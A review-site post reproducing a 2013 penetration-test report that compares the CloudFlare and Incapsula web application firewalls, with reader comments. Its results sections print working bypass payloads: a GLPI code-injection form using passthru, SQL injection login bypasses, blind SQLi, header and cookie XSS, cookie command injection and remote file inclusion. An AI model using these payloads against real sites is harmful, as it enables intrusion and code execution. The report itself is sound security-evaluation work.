Imperva Incapsula Review
CloudFlare vs Incapsula: Web Application Firewall


CloudFlare vs Incapsula: Round 2
Web Application Firewall

Comparative Penetration Testing Analysis Report v1.0

Summary

This document contains the results of a second comparative penetration test conducted by a team of security specialists at Zero Science Lab against two cloud-based Web Application Firewall (WAF) solutions: Incapsula and Cloudflare. This test was designed to bypass security controls in place, in any possible way, circumventing whatever filters they have. Given the rise in application-level attacks, the goal of the test was to provide IT managers of online businesses with a comparison of these WAFs against real-world threats in simulated real-world conditions.

Zero Science Lab is a Macedonian Information Security Research and Development Laboratory that specializes in information security hardening, consulting, network security, vulnerability research, software and hardware security assessment, penetration testing, malware analysis, forensics and much more - https://www.zeroscience.mk

Background
In February 2013, we conducted the first comparative pentest analysis of the CloudFlare, Incapsula and ModSecurity Web Application Firewall (WAF) solutions. The goal of a WAF is to block hacker attacks / unwanted malicious traffic to your web application with as few false positives as possible.

Since then, all three vendors had replied to the findings, applying patches to the discovered bypasses and improving their products to protect their customers from web attacks. In August 2013, CloudFlare even launched a new rule- based WAF to augment their existing heuristics-based WAF (which we used in the first pentest). Since Incapsula also uses a rule-based approach, we decided that now is a good time to run a follow-up pentest comparison, this time focusing only on CloudFlare's new WAF and Incapsula's WAF. Over the past 8 months, both vendors have improved their firewall solution by adding extra features, upgrading the rulesets and signature detection algorithms.

The difference between this report and the previous one is that now we have focused more on real-world web application exploitation applying known encoding techniques, as well as the rate of false positives.

Results

1. Attack Vector coverage
The table below shows the overall statistics of the exploits testing:

2. WAF evasion techniques
Blackbox penetration test was conducted against the two services (using their respective Business Plans), applying known filter evasion techniques to bypass their web application firewall solution using real-world scenarios and variety of attack vectors.

We wanted to check how the WAFs deal with evasion techniques, and we took common vectors for each rule and obfuscated them using different evasion techniques like:

  • Multi-parameter vectors
  • Microsoft Unicode encoding
  • Invalid characters
  • SQL comments
  • Redundant white space
  • HTML encoding for XSS
  • Javascript escaping for XSS
  • Hex encoding for XSS
  • Character encoding for Directory Traversal

3. Known Vulnerabilities Handling
Each of the exploits was executed with their default given payload. After that, we applied the evasion techniques on the same payloads and mark the results. Below is a table that gives you an overview of which vulnerability was blocked and which vulnerability has bypassed the WAF mechanisms for detecting known web application exploits.

Results (overview of real apps exploit bypass list):

4. FalsePositives
Obviously a key evaluation criteria for a WAF is to be able to block as many attack variants as possible. However, in real life scenarios there is another evaluation criteria that is as important – not blocking legitimate users.

Testing for false positives is not a trivial task and the way we have decided to run this test is to simulate an administrator that is updating the application HTML. You would find this action in any CMS and it is specifically prone to false positives in XSS filters that look for suspicious HTML and Javascript code.

From our tests it seems that Incapsula has a mechanism to detect what CMS is installed on the web server and to automatically detect and whitelist legitimate administrative actions.

On the other hand CloudFlare’s aggressive XSS filter blocked legitimate attempts to upload HTML and Javascript code to the application through the CMS built in functions.

Conclusion
From the results table, we can see that Incapsula's WAF continues to have an advantage over CloudFlare's WAF. We should also mention that only Incapsula's WAF is PCI-Certified, which is an advantage for certain types of online businesses.

While CloudFlare's new WAF solution showed substantial improvement since the first penetration test, it still does not provide the comprehensive level of security against certain types of web application attacks (e.g., SQL injection, Remote File Inclusion) that many online businesses today require.

We noticed the high block ratio of XSS attacks, but from all the types of attacks, main focus was on Cross-Site Scripting. The SQL Injection, Local and Remote File Inclusion, and Remote Code/Command Execution attacks had very low detection rate by the CloudFlare WAF.

Incapsula, on the other hand, has shown consistent security performance in both tests, with a high block ratio and few false-positives.

Intro
Both Incapsula and CloudFlare WAF services have improved their protection mechanisms and detection methodologies since the previous evaluation. That being said, we decided to put them on yet another heavy test and see what filters we can evade/bypass. All the settings were set to maximum level of protection in both testing environments.

This time we used several real-world applications vulnerable to different types of attack vectors to simulate a real hacking scenario against the firewall services of both vendors.

Along with the vulnerable applications, we used an improved PoC script file to test the solutions against generic attack vectors and their learning mechanisms. This script was written by us and it basically allows calling unsanitized input from the users which allowed us to exploit it and manipulate the results in several ways which would confirm 100% whether or not the filter was indeed working as expected.

Setup and configuration
We're not going in details on how to setup CloudFlare and Incapsula services. Refer to the previous report for more details. All we can say here is that the infrastructure design has remained the same which is the WAF sitting in front of the dedicated server, intercepting all requests that are destined for it. The setup process from client's perspective has stayed the same as well. We've set everything to 'ON' and 'HIGH' for both WAF options.

CloudFlare WAF Settings

Incapsula WAF Settings

Targets and tools
For this occasion we've created two separate testbeds on separate server host machines.

- CloudFlare - cf.destr0y.net

- Incapsula - in.zeroscience.mk, inc.zeroscience.mk, inc.destr0y.net, 4sylum.elgringodelanoche.com

The testbed servers were running Apache web server with PHP and MySQL DBMS. Both the servers had the 'poc.php' script deployed, which is vulnerable to Cross-Site Scripting, SQL Injection, Local and Remote File Inclusion, Cookie Poisoning and Command Execution attacks. We also installed several real-world web applications that are vulnerable to different attack vectors.

Practico CMS 13.7 Auth Bypass SQL Injection - by shiZheni (https://www.exploit-db.com/exploits/28129)
Practico CMS contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php script not properly sanitizing user-supplied input to the 'uid' parameter. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

WP NOSpamPTI Plugin Blind SQL Injection - by Alexandro Silva (https://www.exploit-db.com/exploits/28485)
NOSpamPTI contains a flaw that may allow an attacker to carry out a Blind SQL injection attack. The issue is due to the wp- comments-post.php script not properly sanitizing the comment_post_ID in POST data. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

WP TimThumb Plugin Remote Code Execution - by Mark Maunder (https://www.exploit-db.com/exploits/17602)
TimThumb is prone to a Remote Code Execution vulnerability, due to the script does not check remotely cached files properly. By crafting a special image file with a valid MIME-type, and appending a PHP file at the end of this, it is possible to fool TimThumb into believing that it is a legitimate image, thus caching it locally in the cache directory.

WP W3 Total Cache Plugin PHP Code Execution - by Unknown (https://osvdb.org/show/osvdb/92652) W3 Total Cache Plugin for WordPress contains a flaw that is due to the program failing to properly restrict access to the mclude
and mfunc PHP code inclusion macros. This may allow a remote attacker to insert and execute arbitrary PHP code.

webgrind 1.0 Local File Inclusion Vulnerability - by Michael Meyer (https://www.exploit-db.com/exploits/18523)
webgrind suffers from a file inclusion vulnerability (LFI) when input passed thru the 'file' parameter to index.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.

Newsletter Tailor 0.2.0 Remote File Inclusion - by Snakespc (https://www.exploit-db.com/exploits/11378)
Newsletter Tailor contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to the index.php script not properly sanitizing user input supplied to the 'p' parameter. This may allow an attacker to include a file from a third-party remote host that contains commands or code that will be executed by the vulnerable script with the same privileges as the web server.

Apache Struts <2.2.0 Command Execution - by Meder Kydyraliev (https://www.exploit-db.com/exploits/14360)
Apache Struts versions < 2.2.0 suffers from a remote command execution vulnerability. This issue is caused by a failure to properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. Bypassing this restriction allows for the execution of arbitrary Java code.

Apache Struts includeParams RCE < 2.3.14.2 - by Eric K., Douglas R. (https://www.osvdb.org/show/osvdb/93645)
Apache Struts contains a flaw that may allow an attacker to execute arbitrary commands. The issue is due to the handling of the includeParams attribute in the URL and Anchor tags. With a specially crafted request parameter, an attacker could inject arbitrary OGNL code that would be evaluated. In addition, a second evaluation of attacker supplied input can occur when the URL or Anchor tag tries to resolve arbitrary parameters, that would be evaluated as an OGNL expression.

Apache Struts < 2.2.3 Multiple RCE - by Takeshi Terada (https://www.securityfocus.com/bid/61189) Apache Struts is prone to multiple remote command-execution vulnerabilities. Successful exploits will allow remote attackers to
execute arbitrary commands within the context of the affected application.

GLPI < 0.84.1 Arbitrary PHP Code Injection - by High-Tech Bridge SA (https://www.exploit-db.com/exploits/28685)
GLPI suffers from an insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.

Joomla CMS 3.1.5, WordPress 3.6.1 and phpMyAdmin 4.0.8 - False Positives Front

99% of the test was manually approached, but we used several tools for fuzzing and automation to see how the WAFs will behave on scanners and session tracking.

Tools used:

  • Acunetix Web Vulnerability Scanner
  • Havij SQL Injection Tool
  • Burp Suite
  • OWASP Zed Attack Proxy (ZAP)
  • TamperData
  • Firebug
  • Cookies Manager+
  • CookieMonster
  • HttpFox
  • Live HTTP Headers
  • tcpdump
  • Wireshark
  • Metasploit Framework

We used the following browsers:

  • Mozilla Firefox
  • Microsoft Internet Explorer
  • Google Chrome
  • Opera
  • Apple Safari
  • Iceweasel

Contents of poc.php:

(click to enlarge)

Testing and analysis
From previous report, Incapsula patched the bypasses and has improved their WAF and even included a new separate control for RFI attacks.

CloudFlare having in mind our previous results has introduced a much improved WAF based on OWASP Core Rule Set (ModSecurity). However, there are lots of bypasses present in the newly upgraded WAF solution. We noticed only a few false positives in CloudFlare while doing regular tasks, using a legitimate application from regular user's perspective. Given the fact that the False Positives test was executed using phpMyAdmin, this was more than expected.

Incapsula on the other hand had also a few false positives, including simple Joomla administrator actions. Unlike Cloudflare, Incapsula offers a great option for whitelisting the request URL and the affected parameter, which allows the WAF administrator to resolve incidents of this kind at any time.

What’s also important to note is that Incapsula can recognize an ongoing attack and block attacker's session. We specifically noticed this during the test using automated tools such as ZAP and Burp. Their blocking mechanism seems to be based on recognizing the fingerprint of the tool being used, so even if you try to trick it by changing the default User-Agent or manipulating other header fields, the WAF will still block your session. We didn't notice such mechanism on CloudFlare's WAF. CloudFlare blocks a session only if an attacker tries to manipulate and send invalid headers.

XSS vectors:

- Vectors making use of HTML5 features

- Vectors working on HTML4 and older versions

- Cascading stylesheet injection based vectors

- Plain JavaScript vectors

- E4X vectors working on gecko based browsers

- Vectors attacking DOM properties and methods

- JSON based vectors

- Vectors embedded in SVG files

- Vectors related to X(HT)ML

- UTF7 and other exotic charset based vectors

- Client side denial of service vectors

- HTML behavior and binding vectors

- Clickjacking and UI Redressing vectors

Results (CloudFlare):


Webgrind Local File Inclusion Bypass:
https://cf.destr0y.net/webgrind/index.php?file=/etc...

GLPI SQL Injection and Remote Code Execution Bypass:

<form action="https://cf.destr0y.net/glpi/install/install.php" method="post" name="main"> <input type="hidden" name="install" value="update_1"> <input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> <input type="submit" id="btn"> </form> <p> <img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-008.png" width="650"> </p>

https://cf.destr0y.net/glpi/index.php?cmd=ls%20-la;...

Newsletter Tailor Remote File Inclusion Bypass:
https://cf.destr0y.net/list/admin/index.php?p=http:...

https://cf.destr0y.net/list/admin/index.php?p=http:...

Practico SQL Injection Authentication Bypass:

POST /practico/ HTTP/1.1 Host: cf.destr0y.net Content-Type: application/x-www-form-urlencoded Content-Length: 73 Connection: keep-alive Accept-Encoding: gzip, deflate accion=Iniciar_login&uid=admin%27+AND+1%3D1%23&clave=password&captcha=vhw3 <p> <img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-012.jpg" width="650"> </p>

TimThumb Remote File Include Bypass:
https://cf.destr0y.net/wp/wp- content/plugins/timthumb/cache/external_3ad96be987d746db968ebaa77c49900e.php

WP Plugin NoSpamPTI Blind SQL Injection Bypass:

<form novalidate="" id="commentform" method="post" action="https://cf.destr0y.net/wp/wp-comments-post.php"> <input type="submit" value="Post Comment" id="submit" name="submit"> <input type="hidden" id="comment_post_ID" value="1 AND SLEEP(15)" name="comment_post_ID"><br> <input type="hidden" value="0" id="comment_parent" name="comment_parent"> </form> <p> <img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-014.jpg" width="650"> <img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-015.png" width="650"> </p>

Cookie Poisoning Bypass (XSS, SQLi, RFI, LFI, CMDexec):

CloudFlare doesn't check the Cookie value or any other HTTP header field (except User-Agent) for malicious strings. To prove this, we successfully managed to exploit the cookie vulnerabilities in the PoC script.

Cookie XSS Bypass:

Cookie value: hallo=J0xy0L </h2><script>alert(document.cookie)</script>

Cookie CMDExec Bypass:

Cookie value: market=uname -a;

Cookie LFI/RFI Bypass:
Cookie value: segment=https://zeroscience.mk/pentest/tim.php

Cookie SQLi Bypass:
Cookie value: notifications=dasdsa' union select* from testwaf;#

Directory Traversal Bypass using Burp:

Apache Struts Block (msf):

SQL Injection Fuzz (ZAP) Block:

WP W3 Total Cache Plugin PHP Code Execution Block:

<textarea aria-required="true" rows="8" cols="45" name="comment" id="comment"><!--mfunc eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc--></textarea>

User-Agent HTTP Header Field XSS Block:
UA value: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0"><script>alert(1);</script>

False Positive (phpMyAdmin):
https://cf.destr0y.net/phpma/querywindow.php?token=... &table=testwaf&sql_query=SELECT%20*%20FROM%20%60testwaf%60%20WHERE%20%60testzsl%60%3D1&init=1 (?)

Unlike Incapsula, CloudFlare does not offer an option to whitelist the requests and parameters but rather whitelist the IP of the user.

Results (Incapsula):

Webgrind Local File Inclusion Bypass:

Seems its configured to detect and trigger on hardcoded values (I.E: /etc/hosts, /etc/passwd). The vulnerability can still be used to read other valuable files on the system. For example:
https://in.zeroscience.mk/webgrind/index.php?op=fil...

GLPI SQL Injection and Remote Code Execution Bypass:


<form action="https://inc.destr0y.net/glpi/install/install.php" method="post" name="main">

<input type="hidden" name="install" value="update_1">

<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*">

<input type="submit" id="btn">

</form>

GLPI SQL Injection and Remote Code Execution Bypass:

POST /practico/ HTTP/1.1

Host: 4sylum.elgringodelanoche.com

Content-Type: application/x-www-form-urlencoded

accion=Iniciar_login&uid=admin' AND 230984752 = 230984752#&clave=admin&captcha=rxbg

Accept-Encoding HTTP Header Field XSS Bypass:
AE value: gzip, deflate"><script>alert(1);</script>

User-Agent HTTP Header Field XSS Bypass:
UA value: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0"><script>alert(document.cookie)</script>

Remote File Include Bypass (questionable (captcha)):

Apache Struts Block (tcpdump):

Cross-Site Scripting Bypass:

Cross-Site Scripting Bypass:
https://inc.zeroscience.mk/poc.php?x=%3Cform%20id=t... %3Cbutton%20form=test%20onformchange=alert(/XSS/)%3EX%3C/button%3E

XSS Fuzz (Burp) Block:

WP Plugin NoSpamPTI Blind SQL Injection Block:

<form novalidate="" id="commentform" method="post" action="https://in.zeroscience.mk/wp/wp-comments-post.php"> <input type="submit" value="Post Comment" id="submit" name="submit"> <input type="hidden" id="comment_post_ID" value="1 AND SLEEP(15)" name="comment_post_ID"> <input type="hidden" value="0" id="comment_parent" name="comment_parent"> </form>

Newsletter Tailor Remote File Inclusion Block:
https://in.zeroscience.mk/list/admin/index.php?p=ht...

TimThumb Remote File Include Block:
https://in.zeroscience.mk/wp/wp- content/plugins/timthumb/timthumb.php?src=https://zeroscience.mk/pentest/tim.php.php

WP W3 Total Cache Plugin PHP Code Execution Block:

<textarea aria-required="true" rows="8" cols="45" name="comment" id="comment"><!--mfunc eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc--></textarea>

False Positive (Joomla):

Due to suspicious values being hardcoded as even triggers, Incapsula blocks legitimate access to applications with those keywords in the content/paylod.

For example, any comments in blogs or web content containing any of these keywords will cause Incapsula to deny access. As an example, any IT helpdesk blog with content containing strings such as /etc/passwd, /etc/hosts.

Access denied was presented to us when saving the global configuration in Joomla CMS because of the POST parameter 'jform[sendmail]' with value: /usr/sbin/sendmail...also when tried to install any extension we get blocked, but we can add the parameter and the request URL to the whitelist excluding this particular false positive.

POST https://in.zeroscience.mk/joomla/administrator/ind... HTTP/1.1 - jform[sendmail]=/usr/sbin/sendmail

POST https://in.zeroscience.mk/joomla/administrator/ind... - joomla extension install (RFI FP)

Afterthoughts

We can conclude and confirm that both solutions have improved over the course of this year. And that’s really good to see. Incapsula has invested more into blocking real life attacks on real apps. Their session blocks works pretty good against automated attacks but it didn’t block our sessions while doing the manual testing. They might want to put some more effort into that.

CloudFlare has made a big step forward by introducing a new WAF solution knowing that in the previous result they were rock bottom and basically didn’t stop any attacks. Their new solution is fine but they still have lots of work to do and put it on Incapsula level.

We also noticed that CloudFlare has a high protection rate for XSS attacks than SQLi and LFI/RFI combined.

As we’ve shown in the Results part, both Incapsula and CloudFlare, don’t block malicious request with values sent in HTTP Headers. This leaves an open door for attacker to exploit vulnerabilities of such kind. We specifically tested this with Cookie XSS, LFI, RFI, CMD Execution vulnerabilities in the PoC script. Here is a list of few public cookie poisoning vulnerabilities to show the real life relevance of this issue:

For References and Appendix see: https://zeroscience.mk/files/wafreport2013v2.pdf

Disclosure: I am a real user, and this review is based on my own experience and opinions.
2 visitors found this review helpful

Free Trial

Request quote & free trial

4 Comments

it_user4401VendorPOPULAR

When comparing Incapsula and CloudFlare, I noticed that both companies offer outstanding SSL options. Incapsula offers stronger encryption while CloudFlare offers a second solution called 'Flexible SSL'. Any website can use the Flexible SSL even if they do not have SSL enabled on their own webserver.
When talking about control panel, Incapsula provide much more details in the security logs which allow further research. CloudFlare's control panel is very basic and may be more suited for someone with no knowledge about security.
CloudFlare's spam and bot protection is definitely decent, but the false positives can be very annoying for the visitors. Incapsula spam and bot's protection is even sharper.
When it comes to security, from my point of view, Incapsula is a better choice.

16 November 13
it_user1068VendorLEADERBOARD

The comparison between Incapsula and CloudFlare is quite evident. In your own opinion as a general deduction of this constructive analysis of these two products, which one is better than the other?

17 November 13
Gjoko KrsticReal UserPOPULAR

Given that only the WAF services of both vendors were tested, the conclusion is that Incapsula is way better from CloudFlare when it comes to website security.

23 November 13
it_user3876ConsultantPOPULAR

For domain verification, CloudFlare has an upper hand on Incapsula.

CloudFlare works in close collaboration with major web hosting companies around the world, so the verification in CloudFlare is easier and speedy.

10 December 13
Guest
Why do you like it?

Sign Up with Email